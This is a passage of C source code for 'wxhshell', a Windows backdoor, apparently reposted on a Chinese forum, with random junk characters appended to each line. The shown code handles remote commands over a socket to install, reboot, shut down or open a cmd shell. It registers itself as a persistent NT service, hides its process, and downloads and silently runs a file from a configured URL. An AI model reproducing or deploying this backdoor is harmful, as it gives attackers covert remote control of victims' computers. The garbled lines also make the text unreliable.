      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I#]pk!  
    break; 6f t6;*,  
  } >Y\?v-^~;  
  // 安装 OwNo$b]h`  
  case 'i': { @.)[U:N  
    if(Install()) xzFQ)t&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [wJ\.9<Oa  
    else / $s(OFbi#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M^ e}w!U  
    break; 5yj#9H  
    } OTAe#]#  
  // 卸载 O:~J_Wwl!  
  case 'r': { MXDCOe~07  
    if(Uninstall())  !I&,!$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P1^|r}  
    else U 9Ea }aN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M ' %zA;Wl  
    break; $Xu/P5  
    } `PI*\t0  
  // 显示 wxhshell 所在路径 O'@[ f{  
  case 'p': { mC-wPi8  
    char svExeFile[MAX_PATH]; @Cx goX^  
    strcpy(svExeFile,"\n\r"); >lyE@S sA  
      strcat(svExeFile,ExeFile); -eD]gm  
        send(wsh,svExeFile,strlen(svExeFile),0); }J-e:FUF#  
    break; 1_;{1O+B  
    } *(5T?p[7  
  // 重启 D#`>p  
  case 'b': { 0%q H=do6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); se]&)%p[  
    if(Boot(REBOOT)) f+1'Ah0'E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oIj -Y`92!  
    else { =&Tuh}  
    closesocket(wsh); "(dI/}  
    ExitThread(0); 8GjETq%}  
    } u]`0QxvZ  
    break; '{.8tT ?tJ  
    } u~JR]T  
  // 关机 a({N}ZDo  
  case 'd': { Ro `Xs.X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =1VZcLNt  
    if(Boot(SHUTDOWN)) rQ2TPX<?a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !mB `FC  
    else { C?W}/r[  
    closesocket(wsh); 1{a4zGE?[  
    ExitThread(0); P*U^,Jh<  
    } IGly x'\_  
    break; Y" rODk1  
    } jT F "  
  // 获取shell nZ#u#V  
  case 's': { 3Z` wU  
    CmdShell(wsh); 6V@_?a-K  
    closesocket(wsh); @6aJh< c  
    ExitThread(0); oS<Gj I:  
    break; _2}~Vqb+  
  } &h!O<'*2  
  // 退出 4}UJ Bb?  
  case 'x': { F0r2=f(?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X8R:9q_  
    CloseIt(wsh); 59"tHb6E  
    break; >LH}A6dUC  
    } &RI;!qn6(  
  // 离开 R9"}-A  
  case 'q': { ]$s b<o .a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rKT.~ZP\  
    closesocket(wsh); ">20`Mj8  
    WSACleanup(); 3u+i  
    exit(1); EAxdF u  
    break; WB<MU:.Vc  
        } 1,]FLsuy  
  } W!Hn`T   
  } TiG?r$6v%  
{X_I>)Wg  
  // 提示信息 qHo H h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &N+`O)$  
} ~_F;>N~  
  } T (]*jaB  
0*oavY*  
  return; 02NVdpo[wU  
} 4sBvW  
E $W0HZ'  
// shell模块句柄 .)p%|A#^  
int CmdShell(SOCKET sock) -AolW+Y  
{ y9LO;{(  
STARTUPINFO si; M&gi$Qs[E  
ZeroMemory(&si,sizeof(si)); T/ eX7p1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `R7dn/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^Oeixi@f  
PROCESS_INFORMATION ProcessInfo; v]H9`s#,  
char cmdline[]="cmd"; '=\>n(%Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); utl-#Wwt/  
  return 0; #sg dMrVQ  
} "68X+!  
cu'(Hj  
// 自身启动模式 G)M! , Q  
int StartFromService(void) o`7 Z<HF  
{ ZH>i2|W<  
typedef struct T\= #y  
{ j(K)CHH  
  DWORD ExitStatus; FU J<gqL  
  DWORD PebBaseAddress; rwio>4=  
  DWORD AffinityMask; $/@  L  
  DWORD BasePriority; !y>up+cRjl  
  ULONG UniqueProcessId; 4i }nk T  
  ULONG InheritedFromUniqueProcessId; ;cPPx`0$9  
}   PROCESS_BASIC_INFORMATION; Y|J=72!]  
YK$[)x\S  
PROCNTQSIP NtQueryInformationProcess; iVf7;M8O  
t.VVE:A^%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FKL@,>!<e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gr)G-zE  
\&ZEIAe  
  HANDLE             hProcess; ka ;=%*7T  
  PROCESS_BASIC_INFORMATION pbi; JRZp 'Ln  
D]rYg'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mW+5I-~  
  if(NULL == hInst ) return 0; @ uN+]e+3  
HY?#r]Ryt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oOAkwc%)b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a\oz-`ESa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |!7leL  
=1(7T.t  
  if (!NtQueryInformationProcess) return 0; ) j&khHD  
`L[q`r7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Am*lx  
  if(!hProcess) return 0; ;*9<lUvu  
1LhZmv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h(J$-SUs  
C&%NO;Ole  
  CloseHandle(hProcess); |cp_V  
a#[gNT~[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BafNF Pc  
if(hProcess==NULL) return 0; !<VP[%2L~  
2Ub-ufkU  
HMODULE hMod; Li0+%ijM  
char procName[255]; i gjn9p&_  
unsigned long cbNeeded; 5K682+^5  
v&7<f$5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :D;pDl  
q #7Nk)<.  
  CloseHandle(hProcess); f\Hw Y)^>  
:A:7^jrhi  
if(strstr(procName,"services")) return 1; // 以服务启动 ,O:p`"3`0=  
1ah,Zth2  
  return 0; // 注册表启动 ,Shzew+  
} wq!9wk9  
$sg-P|Wo  
// 主模块 YWDgRb  
int StartWxhshell(LPSTR lpCmdLine) j8bA"r1  
{ S~ S>62  
  SOCKET wsl;  "^BA5  
BOOL val=TRUE; m_Z(osoE#W  
  int port=0; h&v].l  
  struct sockaddr_in door; 2_o\Wor#  
9) $[W  
  if(wscfg.ws_autoins) Install(); U:eX^LE7  
<SOG?Lh~  
port=atoi(lpCmdLine); ;L#RFdh  
B]}gfVO  
if(port<=0) port=wscfg.ws_port; a}|<*!4zUQ  
9IrCu?n9b  
  WSADATA data; Mqk|H~l5c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9 BU#THDm  
Eyk:pnKJb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /YU8L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2Q@Jp`# ,4  
  door.sin_family = AF_INET; V m8dX?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~)>.%`v&  
  door.sin_port = htons(port); ZGI<L  
?p 4iXHE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V>E7!LIn.  
closesocket(wsl); c&wiTvRV  
return 1; Nge@8  
} C?]eFKS."  
MZcvr9y  
  if(listen(wsl,2) == INVALID_SOCKET) { Y8IC4:EO  
closesocket(wsl); J|be'V#]1  
return 1; |22vNt_  
} L]"$d F  
  Wxhshell(wsl); b\o>4T  
  WSACleanup(); < .e4  
f#!nj]}#  
return 0; 1q5S"=+W[  
Q8QB{*4  
} vdB2T2F  
i^Jw`eAmT  
// 以NT服务方式启动 F^%\AA]8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fv$w:r]q6  
{ Jg{K!P|i  
DWORD   status = 0; Y"KJ`Rx  
  DWORD   specificError = 0xfffffff; &b*v7c=o  
,,80nW9E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k{b|w')  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x5pu+-h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F$1{w"&  
  serviceStatus.dwWin32ExitCode     = 0; a_{'I6a*,  
  serviceStatus.dwServiceSpecificExitCode = 0; C!+PBk[9  
  serviceStatus.dwCheckPoint       = 0; tX1`/}``  
  serviceStatus.dwWaitHint       = 0; )\2KDXc  
/38I (0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 77aUuP7Iw  
  if (hServiceStatusHandle==0) return; n_LK8  
TvT>UBqj=  
status = GetLastError(); 3B,dL|q(@J  
  if (status!=NO_ERROR) ~]?EV?T  
{ KydAFxUb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9,\AAISi  
    serviceStatus.dwCheckPoint       = 0; q+<,FdG  
    serviceStatus.dwWaitHint       = 0; $?gKIv>g  
    serviceStatus.dwWin32ExitCode     = status; r2i]9>w  
    serviceStatus.dwServiceSpecificExitCode = specificError; /YJBRU2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J&JZYuuf  
    return; @W @,8e]c  
  } zw$\d1-+h  
mJ5%+.V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V6((5o#  
  serviceStatus.dwCheckPoint       = 0; I!u=.[5zdC  
  serviceStatus.dwWaitHint       = 0; &0|Z FXPd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1uG)U)y/Q  
} N=T}  
xw_$1 S  
// 处理NT服务事件,比如:启动、停止 WJa7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F:jtzy"  
{ 9xw"NcL  
switch(fdwControl) dBovcc  
{ 7^M$u\a)U  
case SERVICE_CONTROL_STOP: p W5D!z  
  serviceStatus.dwWin32ExitCode = 0; t:P]bp^#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EL z5P}L6  
  serviceStatus.dwCheckPoint   = 0; 7 H:y=?X6  
  serviceStatus.dwWaitHint     = 0; F]>+pU  
  { v.TgB)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -JPkC(V7]  
  } c>3? T^=  
  return; ~OxFgKn23&  
case SERVICE_CONTROL_PAUSE: ZPq.|6&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gV\Y>y4v  
  break; ZfVY:U:o>  
case SERVICE_CONTROL_CONTINUE: t>*(v#WeZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3W#E$^G_v  
  break; !^0vi3I  
case SERVICE_CONTROL_INTERROGATE: `Je1$)%  
  break; QOrMz`OA  
}; $""k Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #=ij</  
} 8No'8(dPX  
`Eu,SvkFw  
// 标准应用程序主函数 kv+^U^WoU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'X6Y!VDd  
{ P(Zj}tGN  
8==M{M/eM  
// 获取操作系统版本 k W 8>VnW  
OsIsNt=GetOsVer(); 2P@6Qe ?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >JY\h1+ H  
\b!E"I_^  
  // 从命令行安装 gn~^Ajo  
  if(strpbrk(lpCmdLine,"iI")) Install(); %VR{<{3f  
,1~zMzw^  
  // 下载执行文件 VSV]6$~H  
if(wscfg.ws_downexe) { YPY,g R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7j&EQm5\9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yjd/  
} hDZyFRg  
v.>K )%`#  
if(!OsIsNt) { l;R8"L:,p\  
// 如果时win9x,隐藏进程并且设置为注册表启动 U,6sR  
HideProc(); ,`YBTU  
StartWxhshell(lpCmdLine); P7bb2"_9  
} W$;qhB  
else ,2 W=/,5A  
  if(StartFromService()) <&#]|HGc  
  // 以服务方式启动 1n7'\esC*  
  StartServiceCtrlDispatcher(DispatchTable); $G }9iV7  
else h#Z,ud_  
  // 普通方式启动 }m5()@Q}a  
  StartWxhshell(lpCmdLine); Q{'4,J-w  
*vIP\NL?H  
return 0; 2*#i/SE_  
}
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只看该作者 1 发表于: 2006-10-10
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